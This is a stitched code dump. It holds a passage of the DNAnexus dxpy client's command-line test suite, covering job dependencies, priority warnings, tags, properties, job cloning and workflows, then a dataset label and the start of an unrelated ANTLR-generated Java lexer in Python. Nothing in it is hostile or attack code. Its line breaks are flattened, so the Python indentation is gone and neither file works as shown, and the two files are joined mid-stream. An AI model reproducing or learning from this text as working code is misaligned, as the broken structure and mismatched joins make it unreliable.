dxpy.describe(job_id) self.assertEqual(job_desc['dependsOn'], [job_dep_id]) job_id = run("dx run " + applet_id + " -d " + job_dep_id + " --depends-on " + record_dep_id + " --brief -y").strip() job_desc = dxpy.describe(job_id) self.assertEqual(sorted(job_desc['dependsOn']), sorted([job_dep_id, record_dep_id])) def test_dx_run_depends_on_failure(self): applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "inputSpec": [], "outputSpec": [], "runSpec": {"interpreter": "bash", "code": "echo 'hello'"} })['id'] job1_dep_id = run("dx run " + applet_id + " --brief -y").strip() job2_dep_id = run("dx run " + applet_id + " --brief -y").strip() # Testing for missing arguments: with self.assertSubprocessFailure(stderr_regexp='-d/--depends-on.*expected one argument', exit_code=2): run("dx run " + applet_id + " --brief -y --depends-on " + job2_dep_id + " --depends-on") with self.assertSubprocessFailure(stderr_regexp='-d/--depends-on.*expected one argument', exit_code=2): run("dx run " + applet_id + " -d --depends-on " + job1_dep_id + " --brief -y") with self.assertSubprocessFailure(stderr_regexp='unrecognized arguments', exit_code=2): run("dx run " + applet_id + " --brief -y -d " + job2_dep_id + " " + job1_dep_id) with self.assertSubprocessFailure(stderr_regexp='could not be found', exit_code=3): run("dx run " + applet_id + " --brief -y -d not_a_valid_id") # Testing for use of --depends-on with running workflows workflow_id = run("dx new workflow myworkflow --output-folder /foo --brief").strip() stage_id = dxpy.api.workflow_add_stage(workflow_id, {"editVersion": 0, "executable": applet_id})['stage'] with self.assertSubprocessFailure(stderr_regexp='--depends-on.*workflows', exit_code=3): run("dx run " + workflow_id + " -d " + job1_dep_id + " -y --brief") with self.assertSubprocessFailure(stderr_regexp='--depends-on.*workflows', exit_code=3): run("dx run myworkflow -d " + job1_dep_id + " -y --brief") def test_dx_run_no_hidden_executables(self): # hidden applet applet_name = "hidden_applet" applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "inputSpec": [], "outputSpec": [], "runSpec": {"interpreter": "bash", "code": "echo 'hello'"}, "hidden": True, "name": applet_name})['id'] run("dx describe hidden_applet") with self.assertSubprocessFailure(stderr_regexp='ResolutionError: Unable to resolve "{f}"' .format(f=applet_name), exit_code=3): run("dx run hidden_applet") # by ID will still work run("dx run " + applet_id + " -y") # hidden workflow workflow_name = "hidden_workflow" dxworkflow = dxpy.new_dxworkflow(name=workflow_name, hidden=True) dxworkflow.add_stage(applet_id) with self.assertSubprocessFailure(stderr_regexp='ResolutionError: Unable to resolve "{f}"' .format(f=workflow_name), exit_code=3): run("dx run hidden_workflow") # by ID will still work run("dx run " + dxworkflow.get_id() + " -y") @unittest.skipUnless(testutil.TEST_RUN_JOBS, 'skipping tests that would run jobs') def test_dx_run_jbor_array_ref(self): applet_id = dxpy.api.applet_new({"project": self.project, "name": "myapplet", "dxapi": "1.0.0", "inputSpec": [{"name": "record", "class": "record", "optional": True}], "outputSpec": [{"name": "record", "class": "record"}, {"name": "record_array", "class": "array:record"}], "runSpec": {"interpreter": "bash", "bundledDepends": [], "execDepends": [], "code": ''' first_record=$(dx new record firstrecord --brief) dx close $first_record second_record=$(dx new record secondrecord --brief) dx close $second_record dx-jobutil-add-output record $first_record dx-jobutil-add-output record_array $first_record --array dx-jobutil-add-output record_array $second_record --array '''}})["id"] remote_job = dxpy.DXApplet(applet_id).run({}) remote_job.wait_on_done() remote_job_output = remote_job.describe()["output"]["record_array"] # check other dx functionality here for convenience # dx describe/path resolution jbor_array_ref = '{job_id}:record_array.'.format(job_id=remote_job.get_id()) desc_output = run('dx describe ' + jbor_array_ref + '0') self.assertIn("firstrecord", desc_output) self.assertNotIn("secondrecord", desc_output) with self.assertSubprocessFailure(exit_code=3): run("dx get " + remote_job.get_id() + ":record.foo") with self.assertSubprocessFailure(stderr_regexp='not an array', exit_code=3): run("dx get " + remote_job.get_id() + ":record.0") with self.assertSubprocessFailure(stderr_regexp='out of range', exit_code=3): run("dx get " + jbor_array_ref + '2') # dx run second_remote_job = run('dx run myapplet -y --brief -irecord=' + jbor_array_ref + '1').strip() second_remote_job_desc = run('dx describe ' + second_remote_job) self.assertIn(jbor_array_ref + '1', second_remote_job_desc) self.assertIn(remote_job_output[1]["$dnanexus_link"], second_remote_job_desc) self.assertNotIn(remote_job_output[0]["$dnanexus_link"], second_remote_job_desc) # use dx get to hydrate a directory and test dx-run-app-locally def create_app_dir_from_applet(applet_id): tempdir = tempfile.mkdtemp() with chdir(tempdir): run('dx get ' + applet_id) return os.path.join(tempdir, dxpy.describe(applet_id)['name']) appdir = create_app_dir_from_applet(applet_id) local_output = check_output(['dx-run-app-locally', appdir, '-irecord=' + jbor_array_ref + '1']) self.assertIn(remote_job_output[1]["$dnanexus_link"], local_output) self.assertNotIn(remote_job_output[0]["$dnanexus_link"], local_output) @unittest.skipUnless(testutil.TEST_RUN_JOBS, 'skipping tests that would run jobs') def test_dx_run_priority(self): applet_id = dxpy.api.applet_new({"project": self.project, "name": "myapplet", "dxapi": "1.0.0", "runSpec": {"interpreter": "bash", "code": ""}, "access": {"project": "VIEW", "allProjects": "VIEW", "network": []}})["id"] normal_job_id = run("dx run myapplet --priority normal --brief -y").strip() normal_job_desc = dxpy.describe(normal_job_id) self.assertEqual(normal_job_desc["priority"], "normal") high_priority_job_id = run("dx run myapplet --priority high --brief -y").strip() high_priority_job_desc = dxpy.describe(high_priority_job_id) self.assertEqual(high_priority_job_desc["priority"], "high") # don't actually need these to run run("dx terminate " + normal_job_id) run("dx terminate " + high_priority_job_id) # --watch implies --priority high try: run("dx run myapplet -y --watch") except subprocess.CalledProcessError: # ignore any watching errors; just want to test requested # priority pass watched_job_id = run("dx find jobs -n 1 --brief").strip() self.assertNotIn(watched_job_id, [normal_job_id, high_priority_job_id]) watched_job_desc = dxpy.describe(watched_job_id) self.assertEqual(watched_job_desc['applet'], applet_id) self.assertEqual(watched_job_desc['priority'], 'high') # errors with self.assertSubprocessFailure(exit_code=2): # expect argparse error code 2 for bad choice run("dx run myapplet --priority standard") # no warning when no special access requested dx_run_output = run("dx run myapplet --priority normal -y") for string in ["WARNING", "developer", "Internet", "write access"]: self.assertNotIn(string, dx_run_output) # test for printing a warning when extra permissions are # requested and run as normal priority extra_perms_applet = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "runSpec": {"interpreter": "bash", "code": ""}, "access": {"developer": True, "project": "UPLOAD", "network": ["github.com"]}})["id"] # no warning when running at high priority dx_run_output = run("dx run " + extra_perms_applet + " --priority high -y") for string in ["WARNING", "developer", "Internet", "write access"]: self.assertNotIn(string, dx_run_output) # warning when running at normal priority; mention special # permissions present dx_run_output = run("dx run " + extra_perms_applet + " --priority normal -y") for string in ["WARNING", "developer", "Internet", "write access"]: self.assertIn(string, dx_run_output) # no warning with --brief dx_run_output = run("dx run " + extra_perms_applet + " --priority normal --brief -y") self.assertRegex(dx_run_output.strip(), '^job-[0-9a-zA-Z]{24}$') # test with allProjects set but no explicit permissions to the # project context extra_perms_applet = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "inputSpec": [], "outputSpec": [], "runSpec": {"interpreter": "bash", "code": ""}, "access": {"allProjects": "CONTRIBUTE"}})["id"] # no warning when running at high priority dx_run_output = run("dx run " + extra_perms_applet + " --priority high -y") for string in ["WARNING", "developer", "Internet", "write access"]: self.assertNotIn(string, dx_run_output) # warning when running at normal priority; mention special # permissions present dx_run_output = run("dx run " + extra_perms_applet + " --priority normal -y") for string in ["WARNING", "write access"]: self.assertIn(string, dx_run_output) for string in ["developer", "Internet"]: self.assertNotIn(string, dx_run_output) # workflow tests workflow_id = run("dx new workflow myworkflow --brief").strip() run("dx add stage {workflow} {applet}".format(workflow=workflow_id, applet=extra_perms_applet)) # no warning when run at high priority dx_run_output = run("dx run myworkflow --priority high -y") for string in ["WARNING", "developer", "Internet", "write access"]: self.assertNotIn(string, dx_run_output) # and check that priority was set properly analysis_id = next(dxpy.find_executions(classname='analysis', limit=1))['id'] self.assertEqual(dxpy.describe(analysis_id)["priority"], "high") # get warnings when run at normal priority dx_run_output = run("dx run myworkflow --priority normal -y") for string in ["WARNING", "write access"]: self.assertIn(string, dx_run_output) for string in ["developer", "Internet"]: self.assertNotIn(string, dx_run_output) # and check that priority was set properly analysis_id = next(dxpy.find_executions(classname='analysis', limit=1))['id'] self.assertEqual(dxpy.describe(analysis_id)["priority"], "normal") def test_dx_run_tags_and_properties(self): # success applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "runSpec": {"interpreter": "bash", "code": "echo 'hello'"} })['id'] property_names = ["$my.prop", "secoиdprop", "тhird prop"] property_values = ["$hello.world", "Σ2,n", "stuff"] the_tags = ["Σ1=n", "helloo0", "ωω"] job_id = run("dx run " + applet_id + ' -inumber=32 --brief -y ' + " ".join(["--property '" + prop[0] + "'='" + prop[1] + "'" for prop in zip(property_names, property_values)]) + "".join([" --tag " + tag for tag in the_tags])).strip() job_desc = dxpy.api.job_describe(job_id) self.assertEqual(job_desc['tags'].sort(), the_tags.sort()) self.assertEqual(len(job_desc['properties']), 3) for name, value in zip(property_names, property_values): self.assertEqual(job_desc['properties'][name], value) # Test setting tags and properties afterwards run("dx tag " + job_id + " foo bar foo") run("dx set_properties " + job_id + " foo=bar Σ_1^n=n") job_desc_lines = run("dx describe " + job_id + " --delim ' '").splitlines() found_tags = False found_properties = False for line in job_desc_lines: if line.startswith('Tags'): self.assertIn("foo", line) self.assertIn("bar", line) found_tags = True if line.startswith('Properties'): self.assertIn("foo=bar", line) self.assertIn("Σ_1^n=n", line) found_properties = True self.assertTrue(found_tags) self.assertTrue(found_properties) run("dx untag " + job_id + " foo") run("dx unset_properties " + job_id + " Σ_1^n") job_desc = json.loads(run("dx describe " + job_id + " --json")) self.assertIn("bar", job_desc['tags']) self.assertNotIn("foo", job_desc['tags']) self.assertEqual(job_desc["properties"]["foo"], "bar") self.assertNotIn("Σ_1^n", job_desc["properties"]) def test_dx_run_extra_args(self): # success applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "runSpec": {"interpreter": "bash", "code": "echo 'hello'"} })['id'] job_id = run("dx run " + applet_id + " -inumber=32 --name overwritten_name " + '--delay-workspace-destruction --brief -y ' + '--extra-args \'{"input": {"second": true}, "name": "new_name"}\'').strip() job_desc = dxpy.api.job_describe(job_id) self.assertTrue(job_desc['delayWorkspaceDestruction']) self.assertEqual(job_desc['name'], 'new_name') self.assertIn('number', job_desc['input']) self.assertEqual(job_desc['input']['number'], 32) self.assertIn('second', job_desc['input']) self.assertEqual(job_desc['input']['second'], True) # parsing error with self.assertSubprocessFailure(stderr_regexp='JSON', exit_code=3): run("dx run " + applet_id + " --extra-args not-a-JSON-string") def test_dx_run_clone(self): applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "runSpec": {"interpreter": "bash", "code": "echo 'hello'"} })['id'] other_applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "runSpec": {"interpreter": "bash", "code": "echo 'hello'"} })['id'] def check_new_job_metadata(new_job_desc, cloned_job_desc, overridden_fields=[]): ''' :param new_job_desc: the describe hash in the new job :param cloned_job_desc: the description of the job that was cloned :param overridden_fields: the metadata fields in describe that were overridden (and should not be checked) ''' # check clonedFrom hash in new job's details self.assertIn('clonedFrom', new_job_desc['details']) self.assertEqual(new_job_desc['details']['clonedFrom']['id'], cloned_job_desc['id']) self.assertEqual(new_job_desc['details']['clonedFrom']['executable'], cloned_job_desc.get('applet') or cloned_job_desc.get('app')) for metadata in ['project', 'folder', 'name', 'runInput', 'systemRequirements']: self.assertEqual(new_job_desc['details']['clonedFrom'][metadata], cloned_job_desc[metadata]) # check not_overridden_fields match/have the correct transformation all_fields = set(['name', 'project', 'folder', 'input', 'systemRequirements', 'applet', 'tags', 'properties', 'priority']) fields_to_check = all_fields.difference(overridden_fields) for metadata in fields_to_check: if metadata == 'name': self.assertEqual(new_job_desc[metadata], cloned_job_desc[metadata] + ' (re-run)') else: self.assertEqual(new_job_desc[metadata], cloned_job_desc[metadata]) # originally, set everything and have an instance type for all # entry points orig_job_id = run("dx run " + applet_id + ' -inumber=32 --name jobname --folder /output ' + '--instance-type mem2_hdd2_x2 ' + '--tag Ψ --tag $hello.world ' + '--property Σ_1^n=n --property $hello.=world ' + '--priority normal ' + '--brief -y').strip() orig_job_desc = dxpy.api.job_describe(orig_job_id) # control self.assertEqual(orig_job_desc['name'], 'jobname') self.assertEqual(orig_job_desc['project'], self.project) self.assertEqual(orig_job_desc['folder'], '/output') self.assertEqual(orig_job_desc['input'], {'number': 32}) self.assertEqual(orig_job_desc['systemRequirements'], {'*': {'instanceType': 'mem2_hdd2_x2'}}) # clone the job # nothing different new_job_desc = dxpy.api.job_describe(run("dx run --clone " + orig_job_id + " --brief -y").strip()) check_new_job_metadata(new_job_desc, orig_job_desc) def get_new_job_desc(cmd_suffix): new_job_id = run("dx run --clone " + orig_job_id + " --brief -y " + cmd_suffix).strip() return dxpy.api.job_describe(new_job_id) # override applet new_job_desc = get_new_job_desc(other_applet_id) self.assertEqual(new_job_desc['applet'], other_applet_id) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['applet']) # override name new_job_desc = get_new_job_desc("--name newname") self.assertEqual(new_job_desc['name'], 'newname') check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['name']) # override tags new_job_desc = get_new_job_desc("--tag new_tag --tag second_new_tag") self.assertEqual(new_job_desc['tags'], ['new_tag', 'second_new_tag']) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['tags']) # override properties new_job_desc = get_new_job_desc("--property foo=bar --property baz=quux") self.assertEqual(new_job_desc['properties'], {"foo": "bar", "baz": "quux"}) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['properties']) # override priority new_job_desc = get_new_job_desc("--priority high") self.assertEqual(new_job_desc['priority'], "high") check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['priority']) # override folder new_job_desc = get_new_job_desc("--folder /otherfolder") self.assertEqual(new_job_desc['folder'], '/otherfolder') check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['folder']) # override project new_job_desc = get_new_job_desc("--project " + self.other_proj_id) self.assertEqual(new_job_desc['project'], self.other_proj_id) self.assertEqual(new_job_desc['folder'], '/output') check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['project', 'folder']) # override project and folder new_job_desc = get_new_job_desc("--folder " + self.other_proj_id + ":") self.assertEqual(new_job_desc['project'], self.other_proj_id) self.assertEqual(new_job_desc['folder'], '/') check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['project', 'folder']) # override input with -i new_job_desc = get_new_job_desc("-inumber=42") self.assertEqual(new_job_desc['input'], {"number": 42}) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['input']) # add other input fields with -i new_job_desc = get_new_job_desc("-inumber2=42") self.assertEqual(new_job_desc['input'], {"number": 32, "number2": 42}) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['input']) # override input with --input-json (original input discarded) new_job_desc = get_new_job_desc("--input-json '{\"number2\": 42}'") self.assertEqual(new_job_desc['input'], {"number2": 42}) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['input']) # override the blanket instance type new_job_desc = get_new_job_desc("--instance-type mem2_hdd2_x1") self.assertEqual(new_job_desc['systemRequirements'], {'*': {'instanceType': 'mem2_hdd2_x1'}}) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['systemRequirements']) # override instance type for specific entry point(s) new_job_desc = get_new_job_desc("--instance-type '" + json.dumps({"some_ep": "mem2_hdd2_x1", "some_other_ep": "mem2_hdd2_x4"}) + "'") self.assertEqual(new_job_desc['systemRequirements'], {'*': {'instanceType': 'mem2_hdd2_x2'}, 'some_ep': {'instanceType': 'mem2_hdd2_x1'}, 'some_other_ep': {'instanceType': 'mem2_hdd2_x4'}}) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['systemRequirements']) # new original job with entry point-specific systemRequirements orig_job_id = run("dx run " + applet_id + " --instance-type '{\"some_ep\": \"mem2_hdd2_x1\"}' --brief -y").strip() orig_job_desc = dxpy.api.job_describe(orig_job_id) self.assertEqual(orig_job_desc['systemRequirements'], {'some_ep': {'instanceType': 'mem2_hdd2_x1'}}) # override all entry points new_job_desc = get_new_job_desc("--instance-type mem2_hdd2_x2") self.assertEqual(new_job_desc['systemRequirements'], {'*': {'instanceType': 'mem2_hdd2_x2'}}) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['systemRequirements']) # override a different entry point; original untouched new_job_desc = get_new_job_desc("--instance-type '{\"some_other_ep\": \"mem2_hdd2_x2\"}'") self.assertEqual(new_job_desc['systemRequirements'], {'some_ep': {'instanceType': 'mem2_hdd2_x1'}, 'some_other_ep': {'instanceType': 'mem2_hdd2_x2'}}) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['systemRequirements']) # override the same entry point new_job_desc = get_new_job_desc("--instance-type '{\"some_ep\": \"mem2_hdd2_x2\"}'") self.assertEqual(new_job_desc['systemRequirements'], {'some_ep': {'instanceType': 'mem2_hdd2_x2'}}) check_new_job_metadata(new_job_desc, orig_job_desc, overridden_fields=['systemRequirements']) @unittest.skipUnless(testutil.TEST_RUN_JOBS, 'skipping tests that would run jobs') def test_dx_describe_job_with_resolved_jbors(self): applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "inputSpec": [{"name": "array", "class": "array:int"}], "outputSpec": [{"name": "array", "class": "array:int"}], "runSpec": {"interpreter": "python2.7", "code": '''#!/usr/bin/env python @dxpy.entry_point('main') def main(array): output = {"array": array} return output '''}})['id'] first_job_handler = dxpy.DXJob(dxpy.api.applet_run(applet_id, {"project": self.project, "input": {"array": [0, 1, 5]}})['id']) # Launch a second job which depends on the first, using two # arrays in an array (to be flattened) as input second_job_run_input = {"project": self.project, "input": {"array": [first_job_handler.get_output_ref("array"), first_job_handler.get_output_ref("array")]}} second_job_handler = dxpy.DXJob(dxpy.api.applet_run(applet_id, second_job_run_input)['id']) first_job_handler.wait_on_done() # Need to wait for second job to become runnable (idle and # waiting_on_input are the only states before it becomes # runnable) while second_job_handler.describe()['state'] in ['idle', 'waiting_on_input']: time.sleep(0.1) second_job_desc = run("dx describe " + second_job_handler.get_id()) first_job_res = first_job_handler.get_id() + ":array => [ 0, 1, 5 ]" self.assertIn(first_job_res, second_job_desc) # Launch another job which depends on the first done job and # the second (not-done) job; the first job can and should be # mentioned in the resolved JBORs list, but the second # shouldn't. third_job_run_input = {"project": self.project, "input": {"array": [first_job_handler.get_output_ref("array"), first_job_handler.get_output_ref("array", index=2), second_job_handler.get_output_ref("array")]}} third_job = dxpy.api.applet_run(applet_id, third_job_run_input)['id'] third_job_desc = run("dx describe " + third_job) self.assertIn(first_job_res, third_job_desc) self.assertIn(first_job_handler.get_id() + ":array.2 => 5", third_job_desc) self.assertNotIn(second_job_handler.get_id() + ":array =>", third_job_desc) def test_dx_run_ssh_no_config(self): # Create minimal applet. applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "inputSpec": [], "outputSpec": [], "runSpec": {"interpreter": "python2.7", "code": '''#!/usr/bin/env python @dxpy.entry_point('main') def main(): return '''}})['id'] # Case: Execute "dx run --ssh" before configuring SSH. path = tempfile.mkdtemp() shell = pexpect.spawn("dx run --ssh " + applet_id, env=dict(os.environ, DX_USER_CONF_DIR=path)) shell.expect("Warning:") shell.sendline("N") shell.expect("IOError") shell.close() self.assertEqual(3, shell.exitstatus) class TestDXClientWorkflow(DXTestCase): default_inst_type = "mem2_hdd2_x2" @unittest.skipUnless(testutil.TEST_RUN_JOBS, 'skipping test that would run jobs') def test_dx_run_workflow(self): applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "inputSpec": [{"name": "number", "class": "int"}], "outputSpec": [{"name": "number", "class": "int"}], "runSpec": {"interpreter": "bash", "code": "exit 1"} })['id'] workflow_id = run("dx new workflow myworkflow --output-folder /foo --brief").strip() stage_id = dxpy.api.workflow_add_stage(workflow_id, {"editVersion": 0, "executable": applet_id})['stage'] analysis_id = run("dx run " + workflow_id + " -i0.number=32 -y --brief").strip() self.assertTrue(analysis_id.startswith('analysis-')) analysis_desc = run("dx describe " + analysis_id) self.assertIn(stage_id + '.number = 32', analysis_desc) self.assertIn('foo', analysis_desc) analysis_desc = json.loads(run("dx describe " + analysis_id + " --json")) time.sleep(2) # May need to wait for job to be created in the system job_desc = run("dx describe " + analysis_desc["stages"][0]["execution"]["id"]) self.assertIn(' number = 32', job_desc) # Test setting tags and properties on analysis run("dx tag " + analysis_id + " foo bar foo") run("dx set_properties " + analysis_id + " foo=bar Σ_1^n=n") analysis_desc_lines = run("dx describe " + analysis_id).splitlines() found_tags = False found_properties = False for line in analysis_desc_lines: if line.startswith('Tags'): self.assertIn("foo", line) self.assertIn("bar", line) found_tags = True if line.startswith('Properties'): self.assertIn("foo=bar", line) self.assertIn("Σ_1^n=n", line) found_properties = True self.assertTrue(found_tags) self.assertTrue(found_properties) run("dx untag " + analysis_id + " foo") run("dx unset_properties " + analysis_id + " Σ_1^n") analysis_desc = run("dx describe " + analysis_id + " --delim ' '") self.assertIn
codeparrot/github-code-clean
# $ANTLR 3.1 ./Java.g 2013-07-16 16:21:24 import sys from antlr3 import * from antlr3.compat import set, frozenset # for convenience in actions HIDDEN = BaseRecognizer.HIDDEN # token types T__159=159 T__158=158 T__160=160 LEFT_SHIFT_ASSIGN=65 T__167=167 T__168=168 EOF=-1 T__165=165 T__166=166 T__163=163 T__164=164 T__161=161 T__162=162 TYPE_IMPORT_ON_DEMAND_DECLARATION=7 T__148=148 T__147=147 T__149=149 ABSTRACT_METHOD_DECLARATION=28 COMPILATION_UNIT=4 MARKER_ANNOTATION=47 THIS=77 TYPE_PARAMETERS=12 T__154=154 ENUM_DECLARATION=15 T__155=155 T__156=156 T__157=157 T__150=150 QUALIFIED_SUPER=83 T__151=151 T__152=152 T__153=153 T__139=139 T__138=138 LESS_THAN_OR_EQUAL_TO=68 T__137=137 ELEMENT_VALUE_PAIR=48 T__136=136 INNER_THIS=90 IntegerTypeSuffix=102 ALTERNATE_CONSTRUCTOR_INVOCATION=42 TYPE_ARGUMENTS=37 NON_WILD_TYPE_ARGUMENTS=89 T__141=141 T__142=142 T__140=140 T__145=145 T__146=146 T__143=143 T__144=144 T__126=126 T__125=125 UNSIGNED_RIGHT_SHIFT_ASSIGN=66 T__128=128 T__127=127 SINGLE_TYPE_IMPORT_DECLARATION=6 WS=111 T__129=129 UNQUALIFIED_SUPER=78 POST_INCREMENT_EXPRESSION=74 ANNOTATION_TYPE_BODY=51 FloatingPointLiteral=96 ANNOTATION_METHOD=52 NORMAL_ANNOTATION=45 JavaIDDigit=110 PREFIX_EXPRESSION=73 LEFT_SHIFT=70 CALL=81 EXPRESSION_STATEMENT=57 METHOD_DECLARATION=27 T__130=130 T__131=131 T__132=132 CLASS_DESIGNATOR=79 T__133=133 T__134=134 T__135=135 T__118=118 T__119=119 T__116=116 ANNOTATION_INTERFACE=50 T__117=117 ENHANCED_FOR_CONTROL=62 T__114=114 STATIC_IMPORT_ON_DEMAND_DECLARATION=9 T__115=115 T__124=124 T__123=123 T__122=122 T__121=121 T__120=120 HexDigit=101 QUALIFIED_THIS=82 T__202=202 EXPLICIT_GENERIC_INVOCATIONS=88 EXPRESSION_LIST=64 CONSTRUCTOR_DECLARATION=29 HexLiteral=93 CONSTRUCTOR_BODY=34 CLASS_BODY=21 StringLiteral=98 CLASS_DECLARATION=11 ENUM=108 UNSIGNED_RIGHT_SHIFT=71 BLOCK=53 OctalEscape=107 ARRAY_INITIALIZER=33 CAST=76 LOCAL_VARIABLE_DECLARATION=54 FloatTypeSuffix=104 FOR_INIT_DECLARATION=60 OctalLiteral=94 SIGNED_RIGHT_SHIFT=72 Identifier=100 UNQUALIFIED_CLASS_INSTANCE_CREATION=84 FOR_UPDATE=63 UNQUALIFIED_SUPERCLASS_CONSTRUCTOR_INVOCATION=43 NEW_ARRAY=87 ENUM_BODY=16 INSTANCE_INITIALIZER=24 FORMAL_PARAMETER=40 VOID=25 COMMENT=112 SELECT=36 ENUM_CONSTANT=18 SINGLE_ELEMENT_ANNOTATION=46 ARGUMENTS=91 LINE_COMMENT=113 ASSERT_STATEMENT=55 ARRAY_OF=32 ASSERT=99 LAST_FORMAL_PARAMETER=41 TYPE_BOUND=14 BASIC_FOR_CONTROL=59 SWITCH_BLOCK_STATEMENT_GROUP=58 ELEMENT_VALUE_ARRAY_INITIALIZER=49 T__200=200 T__201=201 METHOD_BODY=92 EMPTY_STATEMENT=56 INSTANTIATION=35 POST_DECREMENT_EXPRESSION=75 SINGLE_STATIC_IMPORT_DECLARATION=8 INTERFACE_DECLARATION=20 Letter=109 EscapeSequence=105 FIELD_DECLARATION=26 GREATER_THAN_OR_EQUAL_TO=69 CharacterLiteral=97 Exponent=103 MODIFIERS=10 VARIABLE_DECLARATOR=30 T__199=199 T__198=198 T__197=197 ENUM_CONSTANTS=17 T__196=196 T__195=195 FOR_INIT_EXPRESSION_LIST=61 T__194=194 ENUM_BODY_DECLARATIONS=19 T__193=193 T__192=192 T__191=191 T__190=190 WILDCARD=38 NEW_INITIALIZED_ARRAY=86 T__184=184 T__183=183 T__186=186 T__185=185 T__188=188 T__187=187 PACKAGE_DECLARATION=5 T__189=189 CONSTANT_DECLARATION=31 INTERFACE_BODY=22 T__180=180 T__182=182 T__181=181 SIGNED_RIGHT_SHIFT_ASSIGN=67 ARRAY_ACCESS=80 DecimalLiteral=95 T__175=175 T__174=174 T__173=173 FORMAL_PARAMETERS=39 T__172=172 TYPE_PARAMETER=13 T__179=179 T__178=178 T__177=177 T__176=176 QUALIFIED_SUPERCLASS_CONSTRUCTOR_INVOCATION=44 UnicodeEscape=106 T__171=171 T__170=170 QUALIFIED_CLASS_INSTANCE_CREATION=85 STATIC_INITIALIZER=23 T__169=169 class JavaLexer(Lexer): grammarFileName = "./Java.g" antlr_version = version_str_to_tuple("3.1") antlr_version_str = "3.1" def __init__(self, input=None, state=None): if state is None: state = RecognizerSharedState() Lexer.__init__(self, input, state) self.dfa18 = self.DFA18( self, 18, eot = self.DFA18_eot, eof = self.DFA18_eof, min = self.DFA18_min, max = self.DFA18_max, accept = self.DFA18_accept, special = self.DFA18_special, transition = self.DFA18_transition ) self.dfa29 = self.DFA29( self, 29, eot = self.DFA29_eot, eof = self.DFA29_eof, min = self.DFA29_min, max = self.DFA29_max, accept = self.DFA29_accept, special = self.DFA29_special, transition = self.DFA29_transition ) self.enumIsKeyword = False; self.assertIsKeyword = True; # $ANTLR start "T__114" def mT__114(self, ): try: _type = T__114 _channel = DEFAULT_CHANNEL # ./Java.g:12:8: ( 'package' ) # ./Java.g:12:10: 'package' pass self.match("package") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__114" # $ANTLR start "T__115" def mT__115(self, ): try: _type = T__115 _channel = DEFAULT_CHANNEL # ./Java.g:13:8: ( ';' ) # ./Java.g:13:10: ';' pass self.match(59) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__115" # $ANTLR start "T__116" def mT__116(self, ): try: _type = T__116 _channel = DEFAULT_CHANNEL # ./Java.g:14:8: ( 'import' ) # ./Java.g:14:10: 'import' pass self.match("import") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__116" # $ANTLR start "T__117" def mT__117(self, ): try: _type = T__117 _channel = DEFAULT_CHANNEL # ./Java.g:15:8: ( 'static' ) # ./Java.g:15:10: 'static' pass self.match("static") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__117" # $ANTLR start "T__118" def mT__118(self, ): try: _type = T__118 _channel = DEFAULT_CHANNEL # ./Java.g:16:8: ( '.' ) # ./Java.g:16:10: '.' pass self.match(46) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__118" # $ANTLR start "T__119" def mT__119(self, ): try: _type = T__119 _channel = DEFAULT_CHANNEL # ./Java.g:17:8: ( '*' ) # ./Java.g:17:10: '*' pass self.match(42) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__119" # $ANTLR start "T__120" def mT__120(self, ): try: _type = T__120 _channel = DEFAULT_CHANNEL # ./Java.g:18:8: ( 'class' ) # ./Java.g:18:10: 'class' pass self.match("class") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__120" # $ANTLR start "T__121" def mT__121(self, ): try: _type = T__121 _channel = DEFAULT_CHANNEL # ./Java.g:19:8: ( 'extends' ) # ./Java.g:19:10: 'extends' pass self.match("extends") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__121" # $ANTLR start "T__122" def mT__122(self, ): try: _type = T__122 _channel = DEFAULT_CHANNEL # ./Java.g:20:8: ( 'implements' ) # ./Java.g:20:10: 'implements' pass self.match("implements") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__122" # $ANTLR start "T__123" def mT__123(self, ): try: _type = T__123 _channel = DEFAULT_CHANNEL # ./Java.g:21:8: ( '<' ) # ./Java.g:21:10: '<' pass self.match(60) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__123" # $ANTLR start "T__124" def mT__124(self, ): try: _type = T__124 _channel = DEFAULT_CHANNEL # ./Java.g:22:8: ( ',' ) # ./Java.g:22:10: ',' pass self.match(44) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__124" # $ANTLR start "T__125" def mT__125(self, ): try: _type = T__125 _channel = DEFAULT_CHANNEL # ./Java.g:23:8: ( '>' ) # ./Java.g:23:10: '>' pass self.match(62) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__125" # 